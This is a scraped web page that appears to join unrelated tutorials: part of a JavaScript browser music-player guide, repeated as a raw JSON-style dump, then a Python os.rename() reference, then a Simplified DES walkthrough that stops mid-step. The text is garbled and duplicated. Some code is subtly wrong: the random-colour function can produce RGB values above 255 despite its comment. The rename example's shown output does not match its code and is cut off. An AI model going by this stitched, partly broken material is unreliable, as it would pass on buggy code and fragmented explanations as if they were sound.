*/.playpause-track:hover,.prev-track:hover,.next-track:hover { opacity: 1.0;} /* Define the slider width so that it scales properly */.slider_container { width: 75%; max-width: 400px; display: flex; justify-content: center; align-items: center;} /* Modify the appearance of the slider */.seek_slider, .volume_slider { -webkit-appearance: none; -moz-appearance: none; appearance: none; height: 5px; background: black; opacity: 0.7; -webkit-transition: .2s; transition: opacity .2s;} /* Modify the appearance of the slider thumb */.seek_slider::-webkit-slider-thumb,.volume_slider::-webkit-slider-thumb { -webkit-appearance: none; -moz-appearance: none; appearance: none; width: 15px; height: 15px; background: white; cursor: pointer; border-radius: 50%;} /* Change the opacity when mouse is hovered */.seek_slider:hover,.volume_slider:hover { opacity: 1.0;} .seek_slider { width: 60%;} .volume_slider { width: 30%;} .current-time,.total-duration { padding: 10px;} i.fa-volume-down,i.fa-volume-up { padding: 10px;} /* Change the mouse cursor to a pointer when hovered over */i.fa-play-circle,i.fa-pause-circle,i.fa-step-forward,i.fa-step-backward { cursor: pointer;} The result of the HTML layout and CSS styling would give the following appearance: JavaScript logic of the player:The logic of the player is defined in the JavaScript file. There are several functions that work together to handle all the functions of the player.Step 1: Defining all the variables and accessing the HTML elements The required elements in the HTML layout that are to be dynamically changed are first selected using the querySelector() method. They are then assigned variable names so that they could be accessed and modified. Other variables that would be accessed throughout the program are also defined. javascript // Select all the elements in the HTML page// and assign them to a variablelet now_playing = document.querySelector(".now-playing");let track_art = document.querySelector(".track-art");let track_name = document.querySelector(".track-name");let track_artist = document.querySelector(".track-artist"); let playpause_btn = document.querySelector(".playpause-track");let next_btn = document.querySelector(".next-track");let prev_btn = document.querySelector(".prev-track"); let seek_slider = document.querySelector(".seek_slider");let volume_slider = document.querySelector(".volume_slider");let curr_time = document.querySelector(".current-time");let total_duration = document.querySelector(".total-duration"); // Specify globally used valueslet track_index = 0;let isPlaying = false;let updateTimer; // Create the audio element for the playerlet curr_track = document.createElement('audio'); // Define the list of tracks that have to be playedlet track_list = [ { name: "Night Owl", artist: "Broke For Free", image: "Image URL", path: "Night_Owl.mp3" }, { name: "Enthusiast", artist: "Tours", image: "Image URL", path: "Enthusiast.mp3" }, { name: "Shipping Lanes", artist: "Chad Crouch", image: "Image URL", path: "Shipping_Lanes.mp3", },]; Step 2: Loading a new track from the tracklist All the tracks that have to be played are defined in the tracklist as objects. These objects contain properties like the name, artist, image and path to the track. Each of the tracks can then be accessed using its track index.To load a track, a function loadTrack() is defined which handles the following things: Reset all the values of the previous track A resetValues() function is created which handles the resetting of the duration value and the slider to their initial values before a new track starts. This prevents the jumping of the seek slider while the new track loads. Loading the track The audio element is assigned a new source using its src property. It may be given any path from the filesystem or a URL. The load() method is then used on the audio element to get the track ready. Updating the track art to be shown The track art is fetched from the array and assigned with the help of the backgroundImage property. Updating the track details to be shown The track details are fetched from the array and assigned with the help of the textContent property. Adding event listeners to the track The media element has two event listeners added to it, the first one to update the current seek position and the second one to load the next track when the current track finishes. Setting a random colored background A coloured background is generated by randomising the red, green and blue values used and setting it as a color. The effect is animated by using the transition property on the background-color. javascript function loadTrack(track_index) { // Clear the previous seek timer clearInterval(updateTimer); resetValues(); // Load a new track curr_track.src = track_list[track_index].path; curr_track.load(); // Update details of the track track_art.style.backgroundImage = "url(" + track_list[track_index].image + ")"; track_name.textContent = track_list[track_index].name; track_artist.textContent = track_list[track_index].artist; now_playing.textContent = "PLAYING " + (track_index + 1) + " OF " + track_list.length; // Set an interval of 1000 milliseconds // for updating the seek slider updateTimer = setInterval(seekUpdate, 1000); // Move to the next track if the current finishes playing // using the 'ended' event curr_track.addEventListener("ended", nextTrack); // Apply a random background color random_bg_color();} function random_bg_color() { // Get a random number between 64 to 256 // (for getting lighter colors) let red = Math.floor(Math.random() * 256) + 64; let green = Math.floor(Math.random() * 256) + 64; let blue = Math.floor(Math.random() * 256) + 64; // Construct a color withe the given values let bgColor = "rgb(" + red + ", " + green + ", " + blue + ")"; // Set the background to the new color document.body.style.background = bgColor;} // Function to reset all values to their defaultfunction resetValues() { curr_time.textContent = "00:00"; total_duration.textContent = "00:00"; seek_slider.value = 0;} Step 3: Configuring the player buttons A function playTrack() handles the playing of the currently loaded track. The play() method of the HTMLMediaElement API is used for this function. The icon of the button also changes to the pause icon. This is done by using one of the icons from the FontAwesome library and inserting it using innerHTML.A function pauseTrack() handles the playing of the currently loaded track. The pause() method of the HTMLMediaElement API is used for this function. The icon of the button also changes back to the play icon. This is done by using one of the icons from the FontAwesome library and inserting it using innerHTML.These two functions are invoked depending on whether the track is currently playing or not. The playpause() function handles the actual play/pause control of the track. A function prevTrack() handles the loading of the previous track and moving the index backward. The index is reset to the last track when the index reaches the first track. The loadTrack() method defined above is used for loading the new track.Similarly, a function nextTrack() handles the loading of the next track and moving the index forward. The index is reset to the first track when the index reaches the last track. The loadTrack() method defined above is used for loading the new track. javascript function playpauseTrack() { // Switch between playing and pausing // depending on the current state if (!isPlaying) playTrack(); else pauseTrack();} function playTrack() { // Play the loaded track curr_track.play(); isPlaying = true; // Replace icon with the pause icon playpause_btn.innerHTML = '<i class="fa fa-pause-circle fa-5x"></i>';} function pauseTrack() { // Pause the loaded track curr_track.pause(); isPlaying = false; // Replace icon with the play icon playpause_btn.innerHTML = '<i class="fa fa-play-circle fa-5x"></i>';} function nextTrack() { // Go back to the first track if the // current one is the last in the track list if (track_index < track_list.length - 1) track_index += 1; else track_index = 0; // Load and play the new track loadTrack(track_index); playTrack();} function prevTrack() { // Go back to the last track if the // current one is the first in the track list if (track_index > 0) track_index -= 1; else track_index = track_list.length - 1; // Load and play the new track loadTrack(track_index); playTrack();} Step 4: Configuring the sliders portionWe will be setting up two sliders that control the seek slider and the volume slider. The seek slider The seek slider shows the current playback position on a slider by updating it with the current time of the track. A new function is created seekUpdate() which handles the updating of the seek slider relative to the current time of the track. The seek slider position is calculated and set using the value property. Now, this function has to be called every time the track progresses further. This can be done by scheduling it to be updated every second. This can be done using the setInterval() method with an interval of 1000 milliseconds. This timer is cleared every time a new track is loaded.This function also handles the changing of the time elapsed and the total duration of the track, which is updated every time this function fires. The minutes and the seconds are separately calculated and properly formatted to be displayed. The volume slider The volume slider is used to display an set the current volume of the track. A new function is created setVolume() which handles the setting of the volume slider whenever the user changes it. javascript function seekTo() { // Calculate the seek position by the // percentage of the seek slider // and get the relative duration to the track seekto = curr_track.duration * (seek_slider.value / 100); // Set the current track position to the calculated seek position curr_track.currentTime = seekto;} function setVolume() { // Set the volume according to the // percentage of the volume slider set curr_track.volume = volume_slider.value / 100;} function seekUpdate() { let seekPosition = 0; // Check if the current track duration is a legible number if (!isNaN(curr_track.duration)) { seekPosition = curr_track.currentTime * (100 / curr_track.duration); seek_slider.value = seekPosition; // Calculate the time left and the total duration let currentMinutes = Math.floor(curr_track.currentTime / 60); let currentSeconds = Math.floor(curr_track.currentTime - currentMinutes * 60); let durationMinutes = Math.floor(curr_track.duration / 60); let durationSeconds = Math.floor(curr_track.duration - durationMinutes * 60); // Add a zero to the single digit time values if (currentSeconds < 10) { currentSeconds = "0" + currentSeconds; } if (durationSeconds < 10) { durationSeconds = "0" + durationSeconds; } if (currentMinutes < 10) { currentMinutes = "0" + currentMinutes; } if (durationMinutes < 10) { durationMinutes = "0" + durationMinutes; } // Display the updated duration curr_time.textContent = currentMinutes + ":" + currentSeconds; total_duration.textContent = durationMinutes + ":" + durationSeconds; }} Step 5: Starting the playerThe first track is loaded by calling the loadTrack() function. This will load the first track from the tracklist and update all the details of the track. The user can then start playing the track using the play button. The previous and next track button would load the previous and next track respectively and start playing them.The next track is automatically loaded when a track finishes playing. The user can seek to a position in the track using the seek slider. The volume can also be adjusted using the volume slider. javascript // Load the first track in the tracklistloadTrack(track_index); Final DemonstrationThe player is now ready to be used in any browser. New tracks can be added to the tracklist to play the music of your choice. Try Online: https://ide.geeksforgeeks.org/tryit.php/T3gdWUn4aXSource Code: https://github.com/sayantanm19/js-music-player JavaScript is best known for web page development but it is also used in a variety of non-browser environments. You can learn JavaScript from the ground up by following this JavaScript Tutorial and JavaScript Examples. arorakashish0911 magelead hardikkoriintern JavaScript-Misc CSS HTML JavaScript Project Web Technologies Write From Home HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Design a Tribute Page using HTML & CSS How to set space between the flexbox ? How to select all child elements recursively using CSS? Build a Survey Form using HTML and CSS How to auto-resize an image to fit a div container using CSS? REST API (Introduction) Hide or show elements in HTML using display property How to set the default value for an HTML <select> element ? How to set input type date in dd-mm-yyyy format using HTML ? Design a Tribute Page using HTML & CSS
[ { "code": null, "e": 52, "s": 24, "text": "\n18 May, 2022" }, { "code": null, "e": 828, "s": 52, "text": "As streaming is increasingly being adopted by users, online media players have become essential for consuming media on the internet. Music players allow one to enjoy music in any browser and supports a lot of the features of an offline music player.We will be creating a music player with a clean user interface that can be used to play music in the browser. We will also implement features like seeking and volume control. HTML has several methods in the HTMLMediaElement interface that can be used to play audio files and control its playback without using any other library.We will start by creating the HTML layout first that defines the structure of the player, make it look good by styling using CSS and then write the player logic for all the functions in JavaScript. " }, { "code": null, "e": 979, "s": 828, "text": "The HTML Layout The HTML layout defines the element structure that would be shown on the page. The player can be divided into the following portions: " }, { "code": null, "e": 1134, "s": 979, "text": "Details Portion: This section shows the details of the current track being played. It includes the track number, track album, track name and track artist." }, { "code": null, "e": 1405, "s": 1134, "text": "Buttons Portion: This section shows the buttons that are used to control the playback of the track. It includes the play/pause button, the previous and next track buttons. They would have an onclick() method that calls a specific function defined in the JavaScript file." }, { "code": null, "e": 1531, "s": 1405, "text": "Sliders Portion: This section contains the seek slider and volume slider that can be used to control the playback and volume." }, { "code": null, "e": 1729, "s": 1531, "text": "We will be using FontAwesome icons to get the icons for all the buttons used on the page. The custom CSS and JavaScript we will write later is also linked in the file.The HTML code is as follows: " }, { "code": null, "e": 1734, "s": 1729, "text": "html" }, { "code": "<!DOCTYPE html><html lang=\"en\"><head> <title>Simple Music Player</title> <!-- Load FontAwesome icons --> <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css\"> <!-- Load the custom CSS style file --> <link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\"></head><body> <div class=\"player\"> <!-- Define the section for displaying details --> <div class=\"details\"> <div class=\"now-playing\">PLAYING x OF y</div> <div class=\"track-art\"></div> <div class=\"track-name\">Track Name</div> <div class=\"track-artist\">Track Artist</div> </div> <!-- Define the section for displaying track buttons --> <div class=\"buttons\"> <div class=\"prev-track\" onclick=\"prevTrack()\"> <i class=\"fa fa-step-backward fa-2x\"></i> </div> <div class=\"playpause-track\" onclick=\"playpauseTrack()\"> <i class=\"fa fa-play-circle fa-5x\"></i> </div> <div class=\"next-track\" onclick=\"nextTrack()\"> <i class=\"fa fa-step-forward fa-2x\"></i> </div> </div> <!-- Define the section for displaying the seek slider--> <div class=\"slider_container\"> <div class=\"current-time\">00:00</div> <input type=\"range\" min=\"1\" max=\"100\" value=\"0\" class=\"seek_slider\" onchange=\"seekTo()\"> <div class=\"total-duration\">00:00</div> </div> <!-- Define the section for displaying the volume slider--> <div class=\"slider_container\"> <i class=\"fa fa-volume-down\"></i> <input type=\"range\" min=\"1\" max=\"100\" value=\"99\" class=\"volume_slider\" onchange=\"setVolume()\"> <i class=\"fa fa-volume-up\"></i> </div> </div> <!-- Load the main script for the player --> <script src=\"main.js\"></script></body></html>", "e": 3492, "s": 1734, "text": null }, { "code": null, "e": 3592, "s": 3492, "text": "The CSS Styling Using CSS we can style the different portions to make it more visually appealing: " }, { "code": null, "e": 3704, "s": 3592, "text": "The flex layout is used to arrange the various elements of the player and align them to the middle of the page." }, { "code": null, "e": 3802, "s": 3704, "text": "The track art image is given a fixed dimension and made rounded using the border-radius property." }, { "code": null, "e": 4076, "s": 3802, "text": "The two sliders have been modified from their default look by using the appearance property. The height and background are changed to suit the color scheme. They are also given slight transparency that smoothly transitions to the full opacity using the transition property." }, { "code": null, "e": 4200, "s": 4076, "text": "All the playback controls have their cursor property set so that it changes to a pointer whenever the mouse hovers over it." }, { "code": null, "e": 4206, "s": 4202, "text": "css" }, { "code": "body { background-color: lightgreen; /* Smoothly transition the background color */ transition: background-color .5s;} /* Using flex with the column direction to align items in a vertical direction */.player { height: 95vh; display: flex; align-items: center; flex-direction: column; justify-content: center;} .details { display: flex; align-items: center; flex-direction: column; justify-content: center; margin-top: 25px;} .track-art { margin: 25px; height: 250px; width: 250px; background-image: URL( \"https://source.unsplash.com/Qrspubmx6kE/640x360\"); background-size: cover; background-position: center; border-radius: 15%;} /* Changing the font sizes to suitable ones */.now-playing { font-size: 1rem;} .track-name { font-size: 3rem;} .track-artist { font-size: 1.5rem;} /* Using flex with the row direction to align items in a horizontal direction */.buttons { display: flex; flex-direction: row; align-items: center;} .playpause-track,.prev-track,.next-track { padding: 25px; opacity: 0.8; /* Smoothly transition the opacity */ transition: opacity .2s;} /* Change the opacity when mouse is hovered */.playpause-track:hover,.prev-track:hover,.next-track:hover { opacity: 1.0;} /* Define the slider width so that it scales properly */.slider_container { width: 75%; max-width: 400px; display: flex; justify-content: center; align-items: center;} /* Modify the appearance of the slider */.seek_slider, .volume_slider { -webkit-appearance: none; -moz-appearance: none; appearance: none; height: 5px; background: black; opacity: 0.7; -webkit-transition: .2s; transition: opacity .2s;} /* Modify the appearance of the slider thumb */.seek_slider::-webkit-slider-thumb,.volume_slider::-webkit-slider-thumb { -webkit-appearance: none; -moz-appearance: none; appearance: none; width: 15px; height: 15px; background: white; cursor: pointer; border-radius: 50%;} /* Change the opacity when mouse is hovered */.seek_slider:hover,.volume_slider:hover { opacity: 1.0;} .seek_slider { width: 60%;} .volume_slider { width: 30%;} .current-time,.total-duration { padding: 10px;} i.fa-volume-down,i.fa-volume-up { padding: 10px;} /* Change the mouse cursor to a pointer when hovered over */i.fa-play-circle,i.fa-pause-circle,i.fa-step-forward,i.fa-step-backward { cursor: pointer;}", "e": 6547, "s": 4206, "text": null }, { "code": null, "e": 6631, "s": 6547, "text": "The result of the HTML layout and CSS styling would give the following appearance: " }, { "code": null, "e": 7170, "s": 6631, "text": "JavaScript logic of the player:The logic of the player is defined in the JavaScript file. There are several functions that work together to handle all the functions of the player.Step 1: Defining all the variables and accessing the HTML elements The required elements in the HTML layout that are to be dynamically changed are first selected using the querySelector() method. They are then assigned variable names so that they could be accessed and modified. Other variables that would be accessed throughout the program are also defined. " }, { "code": null, "e": 7181, "s": 7170, "text": "javascript" }, { "code": "// Select all the elements in the HTML page// and assign them to a variablelet now_playing = document.querySelector(\".now-playing\");let track_art = document.querySelector(\".track-art\");let track_name = document.querySelector(\".track-name\");let track_artist = document.querySelector(\".track-artist\"); let playpause_btn = document.querySelector(\".playpause-track\");let next_btn = document.querySelector(\".next-track\");let prev_btn = document.querySelector(\".prev-track\"); let seek_slider = document.querySelector(\".seek_slider\");let volume_slider = document.querySelector(\".volume_slider\");let curr_time = document.querySelector(\".current-time\");let total_duration = document.querySelector(\".total-duration\"); // Specify globally used valueslet track_index = 0;let isPlaying = false;let updateTimer; // Create the audio element for the playerlet curr_track = document.createElement('audio'); // Define the list of tracks that have to be playedlet track_list = [ { name: \"Night Owl\", artist: \"Broke For Free\", image: \"Image URL\", path: \"Night_Owl.mp3\" }, { name: \"Enthusiast\", artist: \"Tours\", image: \"Image URL\", path: \"Enthusiast.mp3\" }, { name: \"Shipping Lanes\", artist: \"Chad Crouch\", image: \"Image URL\", path: \"Shipping_Lanes.mp3\", },];", "e": 8462, "s": 7181, "text": null }, { "code": null, "e": 8824, "s": 8462, "text": "Step 2: Loading a new track from the tracklist All the tracks that have to be played are defined in the tracklist as objects. These objects contain properties like the name, artist, image and path to the track. Each of the tracks can then be accessed using its track index.To load a track, a function loadTrack() is defined which handles the following things: " }, { "code": null, "e": 9091, "s": 8824, "text": "Reset all the values of the previous track A resetValues() function is created which handles the resetting of the duration value and the slider to their initial values before a new track starts. This prevents the jumping of the seek slider while the new track loads." }, { "code": null, "e": 9307, "s": 9091, "text": "Loading the track The audio element is assigned a new source using its src property. It may be given any path from the filesystem or a URL. The load() method is then used on the audio element to get the track ready." }, { "code": null, "e": 9442, "s": 9307, "text": "Updating the track art to be shown The track art is fetched from the array and assigned with the help of the backgroundImage property." }, { "code": null, "e": 9582, "s": 9442, "text": "Updating the track details to be shown The track details are fetched from the array and assigned with the help of the textContent property." }, { "code": null, "e": 9798, "s": 9582, "text": "Adding event listeners to the track The media element has two event listeners added to it, the first one to update the current seek position and the second one to load the next track when the current track finishes." }, { "code": null, "e": 10028, "s": 9798, "text": "Setting a random colored background A coloured background is generated by randomising the red, green and blue values used and setting it as a color. The effect is animated by using the transition property on the background-color." }, { "code": null, "e": 10039, "s": 10028, "text": "javascript" }, { "code": "function loadTrack(track_index) { // Clear the previous seek timer clearInterval(updateTimer); resetValues(); // Load a new track curr_track.src = track_list[track_index].path; curr_track.load(); // Update details of the track track_art.style.backgroundImage = \"url(\" + track_list[track_index].image + \")\"; track_name.textContent = track_list[track_index].name; track_artist.textContent = track_list[track_index].artist; now_playing.textContent = \"PLAYING \" + (track_index + 1) + \" OF \" + track_list.length; // Set an interval of 1000 milliseconds // for updating the seek slider updateTimer = setInterval(seekUpdate, 1000); // Move to the next track if the current finishes playing // using the 'ended' event curr_track.addEventListener(\"ended\", nextTrack); // Apply a random background color random_bg_color();} function random_bg_color() { // Get a random number between 64 to 256 // (for getting lighter colors) let red = Math.floor(Math.random() * 256) + 64; let green = Math.floor(Math.random() * 256) + 64; let blue = Math.floor(Math.random() * 256) + 64; // Construct a color withe the given values let bgColor = \"rgb(\" + red + \", \" + green + \", \" + blue + \")\"; // Set the background to the new color document.body.style.background = bgColor;} // Function to reset all values to their defaultfunction resetValues() { curr_time.textContent = \"00:00\"; total_duration.textContent = \"00:00\"; seek_slider.value = 0;}", "e": 11505, "s": 10039, "text": null }, { "code": null, "e": 12821, "s": 11505, "text": "Step 3: Configuring the player buttons A function playTrack() handles the playing of the currently loaded track. The play() method of the HTMLMediaElement API is used for this function. The icon of the button also changes to the pause icon. This is done by using one of the icons from the FontAwesome library and inserting it using innerHTML.A function pauseTrack() handles the playing of the currently loaded track. The pause() method of the HTMLMediaElement API is used for this function. The icon of the button also changes back to the play icon. This is done by using one of the icons from the FontAwesome library and inserting it using innerHTML.These two functions are invoked depending on whether the track is currently playing or not. The playpause() function handles the actual play/pause control of the track. A function prevTrack() handles the loading of the previous track and moving the index backward. The index is reset to the last track when the index reaches the first track. The loadTrack() method defined above is used for loading the new track.Similarly, a function nextTrack() handles the loading of the next track and moving the index forward. The index is reset to the first track when the index reaches the last track. The loadTrack() method defined above is used for loading the new track. " }, { "code": null, "e": 12832, "s": 12821, "text": "javascript" }, { "code": "function playpauseTrack() { // Switch between playing and pausing // depending on the current state if (!isPlaying) playTrack(); else pauseTrack();} function playTrack() { // Play the loaded track curr_track.play(); isPlaying = true; // Replace icon with the pause icon playpause_btn.innerHTML = '<i class=\"fa fa-pause-circle fa-5x\"></i>';} function pauseTrack() { // Pause the loaded track curr_track.pause(); isPlaying = false; // Replace icon with the play icon playpause_btn.innerHTML = '<i class=\"fa fa-play-circle fa-5x\"></i>';} function nextTrack() { // Go back to the first track if the // current one is the last in the track list if (track_index < track_list.length - 1) track_index += 1; else track_index = 0; // Load and play the new track loadTrack(track_index); playTrack();} function prevTrack() { // Go back to the last track if the // current one is the first in the track list if (track_index > 0) track_index -= 1; else track_index = track_list.length - 1; // Load and play the new track loadTrack(track_index); playTrack();}", "e": 13917, "s": 12832, "text": null }, { "code": null, "e": 14043, "s": 13917, "text": "Step 4: Configuring the sliders portionWe will be setting up two sliders that control the seek slider and the volume slider. " }, { "code": null, "e": 14898, "s": 14043, "text": "The seek slider The seek slider shows the current playback position on a slider by updating it with the current time of the track. A new function is created seekUpdate() which handles the updating of the seek slider relative to the current time of the track. The seek slider position is calculated and set using the value property. Now, this function has to be called every time the track progresses further. This can be done by scheduling it to be updated every second. This can be done using the setInterval() method with an interval of 1000 milliseconds. This timer is cleared every time a new track is loaded.This function also handles the changing of the time elapsed and the total duration of the track, which is updated every time this function fires. The minutes and the seconds are separately calculated and properly formatted to be displayed. " }, { "code": null, "e": 15110, "s": 14898, "text": "The volume slider The volume slider is used to display an set the current volume of the track. A new function is created setVolume() which handles the setting of the volume slider whenever the user changes it. " }, { "code": null, "e": 15121, "s": 15110, "text": "javascript" }, { "code": "function seekTo() { // Calculate the seek position by the // percentage of the seek slider // and get the relative duration to the track seekto = curr_track.duration * (seek_slider.value / 100); // Set the current track position to the calculated seek position curr_track.currentTime = seekto;} function setVolume() { // Set the volume according to the // percentage of the volume slider set curr_track.volume = volume_slider.value / 100;} function seekUpdate() { let seekPosition = 0; // Check if the current track duration is a legible number if (!isNaN(curr_track.duration)) { seekPosition = curr_track.currentTime * (100 / curr_track.duration); seek_slider.value = seekPosition; // Calculate the time left and the total duration let currentMinutes = Math.floor(curr_track.currentTime / 60); let currentSeconds = Math.floor(curr_track.currentTime - currentMinutes * 60); let durationMinutes = Math.floor(curr_track.duration / 60); let durationSeconds = Math.floor(curr_track.duration - durationMinutes * 60); // Add a zero to the single digit time values if (currentSeconds < 10) { currentSeconds = \"0\" + currentSeconds; } if (durationSeconds < 10) { durationSeconds = \"0\" + durationSeconds; } if (currentMinutes < 10) { currentMinutes = \"0\" + currentMinutes; } if (durationMinutes < 10) { durationMinutes = \"0\" + durationMinutes; } // Display the updated duration curr_time.textContent = currentMinutes + \":\" + currentSeconds; total_duration.textContent = durationMinutes + \":\" + durationSeconds; }}", "e": 16688, "s": 15121, "text": null }, { "code": null, "e": 17240, "s": 16688, "text": "Step 5: Starting the playerThe first track is loaded by calling the loadTrack() function. This will load the first track from the tracklist and update all the details of the track. The user can then start playing the track using the play button. The previous and next track button would load the previous and next track respectively and start playing them.The next track is automatically loaded when a track finishes playing. The user can seek to a position in the track using the seek slider. The volume can also be adjusted using the volume slider. " }, { "code": null, "e": 17251, "s": 17240, "text": "javascript" }, { "code": "// Load the first track in the tracklistloadTrack(track_index);", "e": 17315, "s": 17251, "text": null }, { "code": null, "e": 17461, "s": 17315, "text": "Final DemonstrationThe player is now ready to be used in any browser. New tracks can be added to the tracklist to play the music of your choice. " }, { "code": null, "e": 17584, "s": 17461, "text": "Try Online: https://ide.geeksforgeeks.org/tryit.php/T3gdWUn4aXSource Code: https://github.com/sayantanm19/js-music-player " }, { "code": null, "e": 17803, "s": 17584, "text": "JavaScript is best known for web page development but it is also used in a variety of non-browser environments. You can learn JavaScript from the ground up by following this JavaScript Tutorial and JavaScript Examples." }, { "code": null, "e": 17820, "s": 17803, "text": "arorakashish0911" }, { "code": null, "e": 17829, "s": 17820, "text": "magelead" }, { "code": null, "e": 17846, "s": 17829, "text": "hardikkoriintern" }, { "code": null, "e": 17862, "s": 17846, "text": "JavaScript-Misc" }, { "code": null, "e": 17866, "s": 17862, "text": "CSS" }, { "code": null, "e": 17871, "s": 17866, "text": "HTML" }, { "code": null, "e": 17882, "s": 17871, "text": "JavaScript" }, { "code": null, "e": 17890, "s": 17882, "text": "Project" }, { "code": null, "e": 17907, "s": 17890, "text": "Web Technologies" }, { "code": null, "e": 17923, "s": 17907, "text": "Write From Home" }, { "code": null, "e": 17928, "s": 17923, "text": "HTML" }, { "code": null, "e": 18026, "s": 17928, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 18065, "s": 18026, "text": "Design a Tribute Page using HTML & CSS" }, { "code": null, "e": 18104, "s": 18065, "text": "How to set space between the flexbox ?" }, { "code": null, "e": 18160, "s": 18104, "text": "How to select all child elements recursively using CSS?" }, { "code": null, "e": 18199, "s": 18160, "text": "Build a Survey Form using HTML and CSS" }, { "code": null, "e": 18261, "s": 18199, "text": "How to auto-resize an image to fit a div container using CSS?" }, { "code": null, "e": 18285, "s": 18261, "text": "REST API (Introduction)" }, { "code": null, "e": 18338, "s": 18285, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 18398, "s": 18338, "text": "How to set the default value for an HTML <select> element ?" }, { "code": null, "e": 18459, "s": 18398, "text": "How to set input type date in dd-mm-yyyy format using HTML ?" } ]
Python 3 - os.rename() Method
The method rename() renames the file or directory src to dst.If dst is a file or directory(already present), OSError will be raised. Following is the syntax for rename() method − os.rename(src, dst) src − This is the actual name of the file or directory. src − This is the actual name of the file or directory. dst − This is the new name of the file or directory. dst − This is the new name of the file or directory. This method does not return any value. The following example shows the usage of rename() method. # !/usr/bin/python3 import os, sys os.chdir("d:\\tmp") # listing directories print ("The dir is: %s"%os.listdir(os.getcwd())) # renaming directory ''tutorialsdir" os.rename("python3","python2") print ("Successfully renamed.") # listing directories after renaming "python3" print ("the dir is: %s" %os.listdir(os.getcwd())) When we run the above program, it produces the following result − The dir is: [ 'Applicationdocs.docx', 'book.zip', 'foo.txt', 'Java Multiple Inheritance.htm', 'Java Multiple Inheritance_files', 'java.ppt', 'Python3' ] Successfully renamed. the dir is: [ 'Applicationdocs.docx', 'book.zip', 'foo.txt', 'Java Multiple Inheritance.htm', 'Java Multiple Inheritance_files',
[ { "code": null, "e": 2607, "s": 2474, "text": "The method rename() renames the file or directory src to dst.If dst is a file or directory(already present), OSError will be raised." }, { "code": null, "e": 2653, "s": 2607, "text": "Following is the syntax for rename() method −" }, { "code": null, "e": 2674, "s": 2653, "text": "os.rename(src, dst)\n" }, { "code": null, "e": 2730, "s": 2674, "text": "src − This is the actual name of the file or directory." }, { "code": null, "e": 2786, "s": 2730, "text": "src − This is the actual name of the file or directory." }, { "code": null, "e": 2839, "s": 2786, "text": "dst − This is the new name of the file or directory." }, { "code": null, "e": 2892, "s": 2839, "text": "dst − This is the new name of the file or directory." }, { "code": null, "e": 2931, "s": 2892, "text": "This method does not return any value." }, { "code": null, "e": 2989, "s": 2931, "text": "The following example shows the usage of rename() method." }, { "code": null, "e": 3316, "s": 2989, "text": "# !/usr/bin/python3\nimport os, sys\nos.chdir(\"d:\\\\tmp\")\n\n# listing directories\nprint (\"The dir is: %s\"%os.listdir(os.getcwd()))\n\n# renaming directory ''tutorialsdir\"\nos.rename(\"python3\",\"python2\")\n\nprint (\"Successfully renamed.\")\n\n# listing directories after renaming \"python3\"\nprint (\"the dir is: %s\" %os.listdir(os.getcwd()))" }, { "code": null, "e": 3382, "s": 3316, "text": "When we run the above program, it produces the following result −" } ]
Simplified Data Encryption Standard | Set 2
22 Oct, 2021 Prerequisite – Simplified Data Encryption Standard | Set 1 Simplified Data Encryption Standard is a simple version of Data Encryption Standard having a 10-bit key and 8-bit plain text. It is much smaller than the DES algorithm as it takes only 8-bit plain text whereas DES takes 64-bit plain text. It was developed for educational purpose so that understanding DES can become easy. It is a block cipher algorithm and uses a symmetric key for its algorithm i.e. they use the same key for both encryption and decryption. It has 2 rounds for encryption which use two different keys. First, we need to generate 2 keys before encryption. After generating keys we pass them to each individual round for s-des encryption. The below diagram shows the steps involved in the s-des algorithm. Components :S-DES encryption involves four functions – 1. Initial permutation(IP) – 2. Complex function (fk) –It is the combination of permutation and substitution functions. The below image represents a round of encryption and decryption. This round is repeated twice in each encryption and decryption. Components in fk are –a. Expanded Permutation (EP) – It takes a 4-bit input and converts it into an 8-bit output. b. S-boxes (S0 and S1) –It is a basic component of a symmetric key algorithm that performs substitution. c. Permutation P4 – 3. Switch (SW) – 4. Inverse of Initial Permutation (IP-1) – First, we need to generate 2 keys before encryption. Consider, the entered 10-bit key is - 1 0 1 0 0 0 0 0 1 0 Therefore, Key-1 is - 1 0 1 0 0 1 0 0 Key-2 is - 0 1 0 0 0 0 1 1 Entered 8-bit plaintext is - 1 0 0 1 0 1 1 1 Step-1:We perform initial permutation on our 8-bit plain text using the IP table. The initial permutation is defined as – IP(k1, k2, k3, k4, k5, k6, k7, k8) = (k2, k6, k3, k1, k4, k8, k5, k7) After ip = 0 1 0 1 1 1 0 1 Step-2:After the initial permutation, we get an 8-bit block of text which we divide into 2 halves of 4 bit each. l = 0 1 0 1 and r = 1 1 0 1 On the right half, we perform expanded permutation using EP table which converts 4 bits into 8 bits. Expand permutation is defined as – EP(k1, k2, k3, k4) = (k4, k1, k2, k3, k2, k3, k4, k1) After ep = 1 1 1 0 1 0 1 1 We perform XOR operation using the first key K1 with the output of expanded permutation. Key-1 is - 1 0 1 0 0 1 0 0 (1 0 1 0 0 1 0 0) XOR (1 1 1 0 1 0 1 1) = 0 1 0 0 1 1 1 1 After XOR operation with 1st Key = 0 1 0 0 1 1 1 1 Again we divide the output of XOR into 2 halves of 4 bit each. l = 0 1 0 0 and r = 1 1 1 1 We take the first and fourth bit as row and the second and third bit as a column for our S boxes. S0 = [1,0,3,2 3,2,1,0 0,2,1,3 3,1,3,2] S1= [0,1,2,3 2,0,1,3 3,0,1,0 2,1,0,3] For l = 0 1 0 0 row = 00 = 0, column = 10 = 2 S0 = 3 = 11 For r = 1 1 1 1 row = 11 = 3, column = 11 = 3 S1 = 3 = 11 After first S-Boxes combining S0 and S1 = 1 1 1 1 S boxes gives a 2-bit output which we combine to get 4 bits and then perform permutation using the P4 table. P4 is defined as – P4(k1, k2, k3, k4) = (k2, k4, k3, k1) After P4 = 1 1 1 1 We XOR the output of the P4 table with the left half of the initial permutation table i.e. IP table. (0 1 0 1) XOR (1 1 1 1) = 1 0 1 0 After XOR operation with left nibble of after ip = 1 0 1 0 We combine both halves i.e. right half of initial permutation and output of ip. Combine 1 1 0 1 and 1 0 1 0 After combine = 1 0 1 0 1 1 0 1 Step-3:Now, divide the output into two halves of 4 bit each. Combine them again, but now the left part should become right and the right part should become left. After step 3 = 1 1 0 1 1 0 1 0 Step-4:Again perform step 2, but this time while doing XOR operation after expanded permutation 